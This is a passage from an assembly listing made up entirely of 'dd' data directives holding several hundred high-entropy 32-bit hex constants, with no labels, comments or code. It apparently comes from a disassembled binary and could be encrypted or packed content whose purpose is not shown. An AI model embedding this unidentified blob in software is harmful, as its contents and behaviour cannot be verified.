		dd 514AC1A3h, 0A44AAB6Eh, 0C909BB03h, 784D5E27h, 0EC78D05Fh
		dd 2A4A8D27h, 34288F5Ch, 97AB7A97h, 17805F3Dh, 1EBF6634h
		dd 57A69798h, 27A223EBh, 0C854BB62h, 7FB531E2h,	355D0C29h
		dd 81179196h, 80C09485h, 6841B0FFh, 900E20B8h, 4E75173h
		dd 0A6C1EA8h, 0D9B75612h, 0E904CD3Dh, 0D8217890h, 820EFDC4h
		dd 0E3005B79h, 44F408Bh, 0A9DD01AAh, 6DB9A40Eh,	8AC4805Bh
		dd 0A32168D8h, 0E2304AEDh, 0AF150013h, 382C5ACh, 43D006Dh
		dd 71E824A0h, 251CF9A5h, 1F13934Fh, 545FA809h, 0A0DE021Dh
		dd 48FC30F2h, 0B60112DCh, 0DBEF81B3h, 1D722B56h, 69545EDEh
		dd 0B0FB9187h, 217CB9D7h, 1E4E910h, 0A9BD2304h,	832DAB29h
		dd 0DF6A3Fh, 32EBDB5h, 4070AA79h, 215EDD39h, 0B9B447F8h
		dd 0F26EA972h, 0C9019610h, 2E9FCED0h, 0FD53ED3Ah, 13EBC9E8h
		dd 12F9A38h, 0FA0115E6h, 0FEB63B41h, 0EA3016B2h, 0BB8E0162h
		dd 2836C531h, 12E62F89h, 0B58953F0h, 0E5308525h, 3BB5A786h
		dd 2A2CBF04h, 0BADE12ABh, 995C421h, 1A990815h, 0BF1EABA8h
		dd 6052555Fh, 0E089B016h, 24E68A2Eh, 22A4BB5Fh,	966C1C04h
		dd 0A5B865B9h, 10DDBA2Fh, 77699C1h, 94FEE49Ch, 0BDE70A3h
		dd 623A21ACh, 98A92D53h, 2FDCBF5Bh, 0B57CCBB2h,	501D7352h
		dd 0AB0EECBCh, 0F4848C14h, 68F80099h, 9BA7037Eh, 0C7C84EB7h
		dd 78023E61h, 0CF485364h, 5B4B417Ah, 0F86A31CDh, 5A51134Eh
		dd 8D7A5739h, 0D0A42BD1h, 13DC9D60h, 0C2E55C49h, 37D5DE8Bh
		dd 8CA18592h, 0D314EC83h, 9F26FEA0h, 9BFC027Ch,	9988192h
		dd 2BC9DABDh, 0D331D228h, 129DE82Bh, 0D2F944E9h, 6F1760ECh
		dd 40AB9F29h, 72BFD53Ah, 354B825Ch, 8AB8E28Eh, 0F36EDC5Ah
		dd 0EE0FD209h, 43761189h, 41D58578h, 0DAAB3004h, 1E7E1A13h
		dd 28A0088h, 359F5E63h,	0D457BFABh, 0DF8101A3h,	0E51BE445h
		dd 0F8B73B5Bh, 8E3C9A92h, 3509004Dh, 14E03F5h, 0EF81FD75h
		dd 20E617ACh, 3E1784B4h, 0CBCC7BBAh, 13D8CB03h,	0CF509354h
		dd 8D011726h, 4C3B075h,	97104EB5h, 0B61DBF64h, 1EC0E6A0h
		dd 68857546h, 0A8380739h, 767135EDh, 81204465h,	0BE5B4B16h
		dd 0B104C57Fh, 0EB91BD01h, 80316F8Ch, 51026096h, 0E859C58Ah
		dd 0D43A200Dh, 0FA00B6A6h, 0ED3571D8h, 95795140h, 538757F1h
		dd 98E07A6Ah, 0E2506158h, 99964C5Bh, 24ECE7C0h,	0AA009B84h
		dd 2F23384Ah, 15824B5Dh, 0AC558659h, 473E0B94h,	0E314FE12h
		dd 0F2E24BACh, 933F8F00h, 0DBCC130h, 3D190A0h, 0B495558Ah
		dd 67908C41h, 0AA3F243Fh, 7B08EA4h, 5A5DCC62h, 219970BAh
		dd 59252B05h, 9CB4CEBDh, 0C800D42Ah, 0FDD03165h, 17F25D34h
		dd 1751FC80h, 6C64BB9Ah, 9D5978CCh, 0E4C9D9F6h,	1356B7F1h
		dd 5EB55D78h, 982BC5Fh,	57012BF9h, 73494AEDh, 0A1660098h
		dd 423D4B26h, 8D896404h, 0E3BF0CA5h, 51E50107h,	0FBAF7AA4h
		dd 0E027C92Eh, 2A072552h, 0A72330C5h, 29CCAEF0h, 82724BCEh
		dd 0CFF7F5D9h, 72F66096h, 0C62454BCh, 0B9604782h, 3E627Ah
		dd 0FA18B7DCh, 6316F3AAh, 891E8A09h, 820879C5h,	10559D01h
		dd 58769B1Ch, 25324BCEh, 57F841B3h, 0EC502B65h,	0EF624A73h
		dd 9D8954C3h, 2E2BB1BAh, 6EA9EAADh, 0F45BE60h, 8DDE9D8Bh
		dd 8A051BACh, 81FB53D4h, 2A2434B5h, 7C80289Bh, 5E52DD3Dh
		dd 8A0F805h, 86629267h,	6B315EF5h, 6A71A841h, 282E09A5h
		dd 0D39DAB33h, 9602D8F8h, 64B588BAh, 71E833h, 414788D7h
		dd 4B1D9ED8h, 4892595Ch, 3442C00Dh, 9F9A88h, 0AF3DE51h
		dd 0EFF72AFFh, 17B01739h, 0A704A48Bh, 0AF570FE9h, 0B89FEC0h
		dd 4C3B0091h, 4EF91C1Ah, 9D987853h, 0D8E0F26h, 4E614948h
		dd 0AC607747h, 27DA7D5Ch, 3609E645h, 0C90DC4DFh, 4F379670h
		dd 0AF0208ACh, 0E09DDF80h, 972B0DF6h, 25FC4694h, 62DD6AEBh
		dd 0F0900C6Eh, 0CEA95520h, 291D4861h, 175D8510h, 0AA9D3316h
		dd 0B6FB3684h, 8717A314h, 0D72A4008h, 0E1BD8BBBh, 80071FD2h
		dd 4D7F1333h, 708D9497h, 0ED2EE165h, 9965B861h,	0F7BA25h
		dd 0C1251358h, 63A0195Fh, 0DFCE2C02h, 5E46F3DAh, 1746D6BCh
		dd 7538DC00h, 0D8D3147h, 0B55EE695h, 71A537F1h,	0BACDE956h
		dd 7510EC42h, 6344A279h, 80F8C1EEh, 4FEB7CCBh, 0CC806FDBh
		dd 0D485A922h, 0E1A13B04h, 1A8298F0h, 0C993E4EDh, 0E577190Ch
		dd 59ED2B36h, 3BEBF0A1h, 170859B8h, 8012E990h, 0BD0C2D9Bh
		dd 0A1FA167Fh, 29672500h, 187D96C7h, 9DE800A0h,	0F2A8BB50h
		dd 90253EE7h, 0C2C1628Ah
		dd 8717592h, 0BF665F00h, 9761E729h, 2D8B63A2h, 4149CE0Ch
		dd 0D3E93E1Ah, 0FEB2F70Bh, 39B90FDDh, 2020BB47h, 5838F1FFh
		dd 90DA5E01h, 7DE6B752h, 4687277Dh, 2FE31486h, 99149ECFh
		dd 4939234h, 0BC1A5DBFh, 0A06BB42Ch, 8DD0CF2Fh,	96F66E95h
		dd 6D74D4F3h, 0ECDAD161h, 0F4DAFFCAh, 4E00DCE1h, 5D826738h
		dd 4B619509h, 2225CE2Ch, 2A037D32h, 51822041h, 0EC5C902h
		dd 1AB39000h, 0AD21F9B5h, 8240F0DEh, 24884514h,	964A9025h
		dd 66AB281Dh, 3D1FBB05h, 38AB5DE9h, 4929548h, 4D404297h
		dd 0D69FE001h, 8B2F192Dh, 5A48FBF8h, 1162718h, 0EC78F028h
		dd 0F290F92Dh, 95F5EAB3h, 55287Eh, 47AEF8ECh, 0E0FED817h
		dd 0EFFA2997h, 0EC5960BBh, 1600A136h, 3EDCF751h, 0AAA5B589h
		dd 25DEF4C9h, 0BF04F466h, 4252D2D6h, 5144C8EBh,	0F4992909h
		dd 63029803h, 623D00ABh, 0E2DD4D17h, 0F300E886h, 0DBF7666Ch
		dd 90EED7A7h, 6EFF5EBEh, 0A177059Ch, 83839C85h,	819D01ADh
		dd 437AC6E7h, 0E56B704Ah, 51647C97h, 78BF1041h,	4A9673D4h
		dd 0AB7ED4B0h, 9B015BE3h, 20F7F5C1h, 61A36A8Fh,	96F38100h
		dd 5F2B4414h, 85EA2297h, 130D3134h, 2EC9E931h, 0D704810Ch
		dd 4F24D1B1h, 5FABF61h,	0DF48E50Bh, 8966E462h, 9B07B990h
		dd 0E007C0F1h, 8A204CC0h, 59F80B5Dh, 63579D7Ch,	1321A981h
		dd 49243A09h, 89800EB2h, 77CB5102h, 0BD29D909h,	5E86CA4Dh
		dd 0D0F602F2h, 8A9AD18Bh, 27FE7857h, 61C45D12h,	8D832300h
		dd 9BC86A89h, 1CE0E0AEh, 0C0C60A68h, 5BAD7160h,	2FCD84E9h
		dd 893A2C89h, 18856A1Eh, 0B44A8EE8h, 0ADCFEFEh,	899D0109h
		dd 826577BAh, 7A2FA42Ch, 55E9285Eh, 0F9B5120Bh,	0B1F7B810h
		dd 622E099Dh, 79293AE4h, 8EBF07D5h, 0F06AF050h,	2F1668ABh
		dd 75BB0F88h, 96F6E8FFh, 2C61BE04h, 18958905h, 2D75E667h
		dd 4AC59D88h, 8409F219h, 0BF00A774h, 35D43D1Dh,	0AAE66A5Fh
		dd 55B5E7F0h, 24466B0h,	0F75A4AB3h, 44E93A07h, 5FA5AA23h
		dd 0EA1727E8h, 19117795h, 24B43B61h, 2ADD21BDh,	51D6EDACh
		dd 5275C07Dh, 62EF7085h, 47CCEE43h, 0BF5C958Dh,	0DE39E6E0h
		dd 0EFEE17ABh, 0C65F0144h, 20572F3Dh, 421CBE93h, 0BD2DBA5Fh
		dd 7201805Fh, 80E3D66Dh, 0C74AF325h, 259FA0E1h,	30750CCDh
		dd 4FB529FDh, 53F41E69h, 0EC81E988h, 0D4EB17C5h, 932AFEF1h
		dd 28E0C080h, 0FCF13513h, 0BAB832B1h, 2F0F6E4h,	20F65B4Ah
		dd 512FE7B5h, 0C3E07F95h, 9912595h, 0BF41A7C7h,	0D6689AD2h
		dd 0C82F2880h, 0A0007C26h, 2B5C64ACh, 0CDFB996h, 55BE4C9Fh
		dd 6D13626Eh, 960B5F11h, 7634DFF9h, 0CC730A0h, 0A448DA43h
		dd 1B9070C0h, 1A0015A0h, 8C28B3EBh, 0E653CEF8h,	8CC84BFFh
		dd 0C4B55189h, 0BAD49F74h, 4FC0011Fh, 342A6AA3h, 0ACB70E50h
		dd 812E072Dh, 0FF5B7B21h, 259E68E1h, 155AC730h,	3104B6C3h
		dd 0AA30258Dh, 176FDA9Dh, 613CBB04h, 603FC1BFh,	0EE8D29F5h
		dd 2E61D0E9h, 0D2735028h, 596FFB2Ch, 72DF7600h,	14288BEBh
		dd 7D6E604Bh, 0F96310Fh, 825A6FD4h, 0F70B14B6h,	0D98CB602h
		dd 113755h, 2A0A740Bh, 0B97F5D4h, 0C5BEED89h, 9CF2BBC5h
		dd 3D8AD14Ah, 0E87E7901h, 0C0760015h, 16F73B12h, 1A95845Fh
		dd 1C6EFDEAh, 77D0CF12h, 0AC4FADE3h, 70EE5AEBh,	0F3168357h
		dd 280A4200h, 78FCA7Dh,	6518BDD9h, 920E8BA5h, 4069A1B3h
		dd 0FCDB5EC7h, 4CD91C76h, 0D6F42F30h, 0F427251Ch, 3C03FCD0h
		dd 0C21CD538h, 5FAAAA9Bh, 67D5D78Bh, 0C42D78h, 0C9F1C200h
		dd 0EB59D17Eh, 4BBF0350h, 8B56FB3Fh, 1E126948h,	512C476Bh
		dd 73CBE85h, 5E150D8Ch,	0B5AC22h, 36200853h, 4A07787Dh
		dd 6534BE68h, 765E1800h, 32EB3Bh, 4F99D278h, 529DACC7h
		dd 0E0DB585Eh, 182C7580h, 8E4E5C59h, 0E94E57ADh, 159D8585h
		dd 0EC1156FFh, 0A3A75A4Dh, 40818550h, 524BE930h, 0C331DC89h
		dd 0C85F9B6Ah, 5BF1C116h, 7B343F38h, 70B8A813h,	1089B50Bh
		dd 4F9C945Dh, 753C260h,	0D4B531F5h, 1DCDE7E0h, 4211415Eh
		dd 619E0F02h, 7FA5D05Ch, 43E138EDh, 9441B54Eh, 0E77E0331h
		dd 5A85879h, 32C14E37h,	0D10C9AEFh, 60EAD7DDh, 5FD9FB4Dh
		dd 0D7915597h, 0A646FE89h, 0B45A6F01h, 17C33E53h, 3D02072Eh
		dd 0E248A3B9h, 1EA99D4h, 8409C9EEh, 2904460Dh, 1728FDABh
		dd 34A95296h, 0FD98A01h, 0F8EEBB31h, 30B635C2h,	0BD666625h
		dd 6895688Ch, 0CF5B2B02h, 5CD88B8Dh, 0A8D40247h, 405C724Fh
		dd 5CE9B3C2h, 0CB81002Ch, 7CA1A7Ah, 64DFEDBFh, 0A9136018h
		dd 4A9D0B54h, 18DDD98Bh, 28D24E1h, 0CB7A8894h, 0A61CD466h
		dd 0D3B81FDDh, 6265C073h, 860E5B6Fh, 9B1E8C14h,	3A955EC2h
		dd 90B7E2EAh, 0A4093E21h, 1D4413F1h, 0BBF98B45h, 5EBB51A6h
		dd 72EE98h, 0D6F8C4BAh,	0E33DB2C0h, 0C34EC29Ch,	0C4433302h
		dd 885930ABh, 2A014F46h, 192F5F27h, 0D5D61B10h,	0BF9800E6h
		dd 69239495h, 0D409B77h, 6D7667CEh, 0B780A699h,	49A11354h
		dd 0AA61017Dh, 0EE1F0848h, 0F02C30DBh, 0DF96EEF5h, 7ABA4C5Bh
		dd 13F92F5Eh, 3FF180D8h, 2CB90105h, 4F49135Ch, 6DA66BFCh
		dd 0C3EA704Fh, 0D3B57774h, 8353A7F9h, 1E4D450h,	27B318B6h
		dd 2053714Eh, 0A7BD61D3h, 7739B589h, 0CF40404Fh, 0B0A6E1BFh
		dd 0B503E4A5h, 34983C6Eh, 0C0BE9648h, 262F46E8h, 8FB70779h
		dd 4A0F502Ah, 0F2964594h, 0AD140191h, 58619B11h, 28F4F4E9h
		dd 15A90AD2h, 0EB9EA1D9h, 0F54BC244h, 0C03F158Dh, 5F80347Dh
		dd 8BB776A4h, 0C20554A3h, 0EF75C486h, 9BBF60C4h, 90015507h
		dd 8603ED36h, 0F36C576Fh, 5B927909h, 1B59B05Bh,	98074718h
		dd 318269Ch, 20CAD81Bh,	8A5E19D1h, 0E9D116AEh, 20501685h
		dd 8EC8DBFBh, 57BB6902h, 82E0236Fh, 27855072h, 0BF7029C5h
		dd 52A03895h, 8A815E0Fh, 8F13044Eh, 0BCAAE1B6h,	0D62F81CAh
		dd 0F1F6BF3Dh, 0FD011485h, 0B7850AD5h, 3BD2B3FAh, 627D2531h
		dd 5BD05D24h, 0C466CD9Fh, 5409EF0Bh, 4845F72Dh,	0AC70ED59h
		dd 0E91F5F55h, 0D6E8020h, 116F695h, 2DB08D08h, 7FC04603h
		dd 1AC8A7DAh, 34B1CC1h,	4E4EA83Bh, 0A6A8B9C4h, 242B4CA2h
		dd 2AAEE801h, 37BC4EAEh, 0A55D5BCBh, 0E3BBD933h, 64B9F54Bh
		dd 38074880h, 0F70A33F6h, 0C0272BBBh, 0BF2CBD23h, 806EC063h
		dd 5ECA40A0h, 908CE994h, 0AD310061h, 64CB702Ch,	99BC024Dh
		dd 8F862381h, 9A5A940h,	31F56595h, 2A14511Ah, 0F92FBECAh
		dd 0DF4B83FBh, 0A585CFB0h, 0BE570340h, 4A341026h, 0D3FBA3A5h
		dd 8FEECCA1h, 0BD231E12h, 253CFAADh, 6D5DF4B4h,	465FE9F4h
		dd 0FB8B39D4h, 185DC125h, 0DF8156h, 5640E619h, 7F09BF90h
		dd 395E079h, 0DD0C944Dh, 3DB899BDh, 69AAD800h, 0E55712A4h
		dd 605C28D7h, 309EBEA6h, 4270897Ah, 379F2E78h, 0C98580C0h
		dd 727453CAh, 0A9AEA213h, 544596F1h, 1458ABEh, 0BB9436F9h
		dd 0C60C996h, 4196B265h, 458C001Eh, 6D95173Ch, 7EAEE0FBh
		dd 0CE258868h, 0FC0262A3h, 0C900DC3Dh, 136E255Eh, 3EC767E3h
		dd 785CA1F4h, 1BEF4BC0h, 0AC5CF721h, 5BCC0385h,	0A54F7875h
		dd 5CF88880h, 413F9029h, 0B1822B20h, 22E5F787h,	0C6092300h
		dd 50D1492Dh, 9FAD0F2h,	0E6F3B866h, 9DE0FA75h, 2703AF37h
		dd 46F97651h, 34F0843Eh, 0CE7685EBh, 2386FF05h,	0B3FB0F9Dh
		dd 0AD3E3CC7h, 52B0D4FAh, 14CC31FFh, 3FBC8B10h,	0E3092600h
		dd 9C4DC455h, 0C23200C5h
		dd 0E85B8161h, 674AEB8Eh, 1F4C82CDh, 3CF00005h,	1DF76863h
		dd 0FF09846Ah, 61D98AD1h, 382B2014h, 3DB59C50h,	7D3D8031h
		dd 0FC786CCDh, 4D88FD07h, 1E249D89h, 8DB3FEh, 44CCDB8Eh
		dd 2FA91E8h, 417B8CF9h,	0D3DD6684h, 71DC7814h, 82F7113Dh
		dd 0D4F48C64h, 0DB0D6890h, 2F80EC31h, 0FAFB37C7h, 0CE181C59h
		dd 174EF500h, 9BEB6209h, 8D890CA3h, 9FE51061h, 20BA9C95h
		dd 2EDD3C4Fh, 0CDEA12D7h, 0DA247BE7h, 57C681D0h, 9561725Fh
		dd 0B6B7AE98h, 0EFBB9001h, 501060BFh, 723ED3DEh, 1D9DD95Dh
		dd 0FB82ADA3h, 0D3D525A4h, 261B590Bh, 0D3820004h, 55113F9Dh
		dd 0C2165F7Ah, 45F715F0h, 253C2626h, 0F1AF44F4h, 450754B8h
		dd 82862C5Bh, 0E7F129h,	467D8C7Bh, 4C00F82Ah, 0E82B4E01h
		dd 2569E27Eh, 0B7D7FF6Ah, 235602C0h, 0CCC1C42Dh, 0FEF96EDDh
		dd 0B2303D12h, 0A752889Eh, 0C4428E11h, 0AD016283h, 0FE1D63DFh
		dd 3E85C193h, 0AB24574Bh, 42790AA0h, 71E4161Bh,	7F84471Ch
		dd 99AD6DEBh, 80C42322h, 99AC11F9h, 898FD39Fh, 9B56FA59h
		dd 0B02FBC4h, 745D5D9Dh, 0F5484C8Dh, 77B32E4Ah,	25296B79h
		dd 0FD57B940h, 51C82B07h, 0BDF06DBBh, 588B5B5Fh, 0B91A55D1h
		dd 0D85DFB22h, 0FAF69D4Ah, 564C94C2h, 47550662h, 0D1256249h
		dd 255A592Ah, 126D2CFCh, 0E2EB98C2h, 0E14B03AAh, 0C78DA9FAh
		dd 44985FA0h, 69DA3425h, 81102E77h, 88014AE7h, 95016E80h
		dd 9D901ADDh, 9417C887h, 3AC5D260h, 0B9AF80C5h,	20E2A90h
		dd 0E0C9B2F4h, 3ED73758h, 786C9561h, 8419D71h, 0FD41047Bh
		dd 0A664BB0Dh, 9395C0BEh, 5E003A6Ah, 550960D0h,	2D965822h
		dd 39C47678h, 36E26D14h, 99750082h, 0BDEFDD68h,	615E255Ah
		dd 2653C364h, 0B74B78EEh, 31CB3EF9h, 4B9B92FFh,	0B8ACCCFEh
		dd 3869BD91h, 20424CD7h, 4697B897h, 0E5A29709h,	7B7D17BDh
		dd 59502DE6h, 0F78119C0h, 1816A4BAh, 0FD6CB923h, 1FE4B501h
		dd 5298D3BDh, 0C9CF7CDEh, 0BD0584F8h, 0FC4344AAh, 188AEAB8h
		dd 52C7F500h, 0BA6D94D0h, 885310A1h, 1212D1C2h,	0C559B65Fh
		dd 60EF1B89h, 0F396934h, 2F0BCF00h, 19834F15h, 0B249130Ch
		dd 0CDCFEB4Ch, 61301BCBh, 0D302C5DFh, 0EA5EF4CEh, 33924016h
		dd 69D59CB9h, 0F169A504h, 432A2A98h, 8CCD1D82h,	0F59F1AF5h
		dd 0DB58C859h, 0C8565A9Bh, 47A2EFAh, 8988323Fh,	24A5F5Ch
		dd 0F140107h, 0B2EBA812h, 0F6BE743Bh, 2F00B00h,	4E799FF2h
		dd 10948D3h, 413CF0D0h,	152B7DAh, 0EF25BB66h, 282BE1FFh
		dd 4413B2Bh, 1E05FC01h,	431F382Bh, 0D810FBB7h, 75053E2Dh
		dd 9E79CF6Dh, 9D8D4681h, 278BCF7Fh, 0E2BDD7D7h,	39FC123Fh
		dd 0E7B12204h, 602F47ECh, 16C2A689h, 0DE251D54h, 0E12FDC57h
		dd 10057E16h, 5F892F18h, 0A252A224h, 0EF5A44h, 4E443AC4h
		dd 5F4A8FF0h, 0FEA935C5h, 0DD4C63B8h, 1BBB0275h, 5678342Fh
		dd 0AF299637h, 3700B07Bh, 10139558h, 924E4635h,	0F62E1EF1h
		dd 0FE5A794Eh, 0F53161AFh, 0C0473C90h, 0D692D4B6h, 0CF09007Ah
		dd 9801EE65h, 0F215F46h, 5012BC82h, 0C16EC856h,	7E25EE00h
		dd 5B8CC815h, 8D310990h, 997A17F5h, 0D894A95Ah,	5B856FABh
		dd 0FCB241AAh, 0CC87A768h, 52635047h, 0A2310FEFh, 0DE60D5DEh
		dd 84E82434h, 57477727h, 76819FBFh, 0D98B08CFh,	8CE1342Ah
		dd 0EB06DEACh, 912C5C17h, 0AAE3015Eh, 1D5429C2h, 271C61E9h
		dd 0C4B8B0ACh, 31A40506h, 0BB336241h, 99208F1Ch, 5A6380B7h
		dd 27CEC440h, 4182A301h, 5BF8574Dh, 0A520BD6Ah,	0BAA482B6h
		dd 1B0293E2h, 0FB8B91B7h, 8909EB74h, 2B4677A6h,	0DD25D7BEh
		dd 64801237h, 0EEFEDE02h, 5CCB089h, 778EACD3h, 0A7DAEB21h
		dd 7E8160D7h, 2217D51Eh, 2713F8D8h, 125FB7B9h, 0B80BFDDEh
		dd 0BE7E298h, 0DA654353h, 840463F7h, 0AF4E1E13h, 15D164FBh
		dd 0C5F2818h, 4568ACC0h, 2530788Ah, 5121810Fh, 7FFEB750h
		dd 89BA67D0h, 6B0C562Fh, 0B53B88B0h, 7005BEECh,	9529DC6Dh
		dd 8D8849EFh, 0CB296FD7h, 15841F6h, 2C292D85h, 1745F274h
		dd 78FBA222h, 0F6B75A95h, 0E3810003h, 1FB8A336h, 78D09B61h
		dd 52B80135h, 0BFBEE897h, 86ED1261h, 4DDEAB32h,	25BF692h
		dd 0BFA4B4B5h, 519454ACh, 3D5DC23Dh, 0E43D0129h, 0C0BB1579h
		dd 8582DAAh, 3A0CC065h,	9ABE2E0h, 8BED8EF2h, 23B127Fh
		dd 5F1F9DE8h, 0B6743BC7h, 666D2585h, 7AC70DC0h,	51132560h
		dd 5E57B712h, 0FC5B4578h, 0C50480C2h, 953AABEAh, 0E9459694h
		dd 95B39C2Ah, 0FEC8294Fh, 96E7BF15h, 0DF3ECA1Ah, 7772B0DBh
		dd 8B5A82ECh, 30B1AF2h,	98F68D9Dh, 4B0F5652h, 251AEE57h
		dd 906688C8h, 6BFB919Fh, 262A64E0h, 9934A6Eh, 0A540511h
		dd 17C38150h, 0EA0E6CDFh, 6A7BBBDDh, 0BB9C0064h, 76F6B5DEh
		dd 732A0063h, 7FF78140h, 725E95CAh, 0DD5292ECh,	80EEE95Eh
		dd 0F66CA3F9h, 421D009Fh, 0BA665904h, 28BF93C9h, 0DE2FCBAEh
		dd 3F55AF01h, 0CCCABE16h, 8F4F0F92h, 8ACB0DA8h,	4E2568D1h
		dd 79F8469Ah, 56CABF12h, 9756DAABh, 2B54698h, 0F6F9B438h
		dd 11C2FDC2h, 4D2547DCh, 60176499h, 4E26539Ch, 0D131AE45h
		dd 6E7E04C2h, 0B2855A8Dh, 930121FFh, 936B2BC1h,	0A5001A23h
		dd 967F3D16h, 1C3F4865h, 0B52C5909h, 0C2D5D1E1h, 0BB3B1655h
		dd 991A50BAh, 2B218700h, 813DDBA5h, 0F7A40BCFh,	0E4DD1F0Eh
		dd 9B6A4B81h, 0B7BCC083h, 0E253F8h, 579691ECh, 1319BB49h
		dd 0EC1C3D2Fh, 0D98D1220h, 0B451A82Bh, 0EB6ABEh, 6C5D56ECh
		dd 4507F28h, 8BEBB660h,	0BDA18CF3h, 1413D15Ah, 0C0D29FEEh
		dd 0BF058C43h, 0CC0D17AFh, 686BAF39h, 580C604Eh, 3180E0D6h
		dd 0A147B52Dh, 57274F11h, 8A20465Ch, 0E4799D24h, 2A345093h
		dd 8B7477FFh, 5FC4B9FFh, 0B007F76Ah, 763E3Ch, 0FA21D4DBh
		dd 0ADBD89E9h, 2AAF194Bh, 8426CAAAh, 5522990Bh,	5B25C4C5h
		dd 0D6E8534Bh, 23B2054h, 47B39442h, 48BF8052h, 955DA3B2h
		dd 897DEB9Ah, 4FEC51D0h, 9D0904F1h, 2B281A39h, 0C69E91B7h
		dd 31FBF05h, 0FEFC5CADh, 881A3097h, 18FA5A8Bh, 4FE951F0h
		dd 0FAB9F45Ah, 97200510h, 0A080E8A8h, 3E312BBDh, 0B6461113h
		dd 5B804FA0h, 0E4CD1D8h, 0BBEAE9F0h, 2C964C31h,	508A314h
		dd 0F3FF3C04h, 248F7A30h, 2F3D1749h, 38F36132h,	58CB102Fh
		dd 1AC2662Bh, 7EC2A8F0h, 5D5A4D38h, 0BD48E0F6h,	33C5000h
		dd 0EC3A81D0h, 8419C945h, 2D70A9DAh, 0E90A1062h, 8299F4D9h
		dd 958589C8h, 4003F348h, 414F3C6Bh, 8A491DBEh, 2012D6E7h
		dd 5360DDDh, 2F1C5BF8h,	0A905030Ch, 0ED50C921h,	3D128808h
		dd 0F264172Ch, 0F09F70D9h, 0D6C4B533h, 208B5126h, 0A9811002h
		dd 0B5148CB0h, 0C0331259h, 142F16C3h, 24C8F169h, 0AC445FA5h
		dd 0D2684702h, 3CD49AA7h, 8D06A70h, 0B9093182h,	0C83AD38Bh
		dd 0A3005D28h, 2772E3B0h, 1CD8B817h, 8146BE1Fh,	60F24D78h
		dd 5955CA58h, 0EAF89670h, 203A228Dh, 0C08161B5h, 0DB679329h
		dd 0B468FB03h, 1BF38519h, 6267580Fh, 95C7FE00h,	8005A1F8h
		dd 0A5BA5D6Ch, 0D903DDECh, 30FF2151h, 9AE10E07h, 0F2C15ACAh
		dd 6DC4CB45h, 34A90F8h,	4A1CD139h, 0C2F8EB8Ah, 0FA307733h
		dd 64C5423Bh, 521301A7h, 431B966h, 9FF13A8Fh, 0C9A8AD45h
		dd 8759017h, 0F8840170h, 0A4824861h, 1941414Bh,	0AB6F306Eh
		dd 2960E9F5h, 70CCA715h, 77DA002Bh, 0EDF8014Eh,	0ACF4F745h
		dd 92B59439h, 45409BE9h
		dd 0D7AF8643h, 0A48700A6h, 9365F220h, 600F4F6h,	437F9054h
		dd 32CD6F1h, 0AB583468h, 91D0E3FAh, 0CA7C63E9h,	5D7A081Fh
		dd 1D07471Eh, 20CDED89h, 508C05D4h, 196FD37Fh, 83F6895h
		dd 4821A6F6h, 39188C00h, 0E4530EEh, 2FD636A2h, 94CEB820h
		dd 49194DECh, 0F305F35h, 96ABD341h, 0B10078BCh,	2826BCB4h
		dd 4F195F45h, 0BF08AD10h, 0F854219Fh, 0C6514880h, 29703C7Dh
		dd 0B95D9B30h, 361A8E6h, 0D64DE18Ah, 41F8AD8Bh,	0A200EC9Dh
		dd 0F4983F60h, 0F2EFE65h, 2579FFA4h, 0F998678Eh, 4C30CE52h
		dd 63EAA085h, 0E3E8A18Ah, 0E2E9D980h, 6F1AE78Ch, 6DA22614h
		dd 0FEFA041Ch, 9203836Ch, 0BCE213h, 0C1674315h,	0C029DD7Fh
		dd 0FAB6D625h, 0ED19B51Fh, 45080FE2h, 1D3D2181h, 0E49B61D6h
		dd 870617BEh, 5273929Ch, 0A0F47789h, 30DE6098h,	2E70F7ECh
		dd 0BF749429h, 0F5146F1Dh, 852FC140h, 155EFEDh,	0A86E1CC3h
		dd 0F0FCABA9h, 3000B6AAh, 1D1342F3h, 1AFA3F7h, 47EBA111h
		dd 6F5764D9h, 3FF174B0h, 7784ABh, 387E03ECh, 7CE78A25h
		dd 738BE200h, 1D5BB9A1h, 0DD4B01E0h, 0B29E3987h, 0E4D96116h
		dd 8D389011h, 1E0300C3h, 23949BC7h, 0BC60CD2h, 0E710C2F2h
		dd 968E1500h, 6E56CE55h, 89CD3CFCh, 0CB149F00h,	6A0A76DDh
		dd 27E8A19h, 21809B08h,	16CB1DB0h, 0E00045A0h, 0CD401C4h
		dd 364330E6h, 287899D1h, 80CDFF0Fh, 9828A00Bh, 30B2F894h
		dd 292082D9h, 0E5007EF4h, 0F55E505Fh, 19B4715h,	0FFE887DFh
		dd 8B91A613h, 80B68940h, 630F2CC3h, 178A1922h, 8E9808B3h
		dd 6F41D421h, 4E68807Dh, 3CDB2060h, 2808E67h, 0F1A0919Bh
		dd 6948CE40h, 75B0F23h,	0C0CFC0EEh, 779E860h, 0FFEB6216h
		dd 0E17B30E5h, 3A008086h, 90CA1E7Ch, 1DD6E836h,	0BD850A8h
		dd 1880D418h, 727EDA5Ch, 3EBD300h, 5367AA82h, 0A5580075h
		dd 3163F850h, 97007D3Fh, 95FE4028h, 9FF77Ch, 334E72Bh
		dd 0B1F40201h, 2C9A7E00h, 6A359252h, 0CA091CD5h, 0EE8408Fh
		dd 4E228DAEh, 0FB69AD03h, 982FF7ACh, 3EE33Bh, 6F8C7204h
		dd 974E36F1h, 0C77E241Eh, 0AED6E2C7h, 997C83h, 46E5AA10h
		dd 1D6C6170h, 136FD700h, 807EBFD2h, 9B1A002Bh, 0E1C96D89h
		dd 197AE5D6h, 831D9607h, 843EDABh, 0DB28815h, 19D7ECDh
		dd 54B3A5Dh, 0C7C4D399h, 0A1962002h, 9E43A775h,	0C95C2320h
		dd 2861630Ch, 0E4C7071Ah, 1085A258h, 0C5E80480h, 0A90F6B75h
		dd 0A0BC7EB8h, 1B9FAE9Dh, 8F70A079h, 0BEA01D1Ah, 96170030h
		dd 48EA333Dh, 0ACEAE03h, 30C6B692h, 76213E08h, 3800E9CBh
		dd 269B73B8h, 3E2E430h,	6606D5CEh, 28A63912h, 0E8972E0Ah
		dd 0A6429C8Bh, 0AB0D2103h, 17B08F2Fh, 0F370338h, 76110093h
		dd 19BC5972h, 2B192689h, 9C087111h, 7A2D2180h, 48882459h
		dd 39356335h, 620A8F1Fh, 7780842Ah, 0E83FF045h,	6510C3Ah
		dd 73085290h, 5D5421C0h, 0FC6AF0h, 0A7676B14h, 0DCD48344h
		dd 1A00917Eh, 0B3E49711h, 1486EDECh, 946C7BE8h,	8438BE23h
		dd 0DEAE46EAh, 7420C462h, 94EA35h, 36E157DFh, 0ABD60D7Dh
		dd 338F2E0Ah, 0B0038C9Dh, 0E155Ch, 89621D30h, 61D337F1h
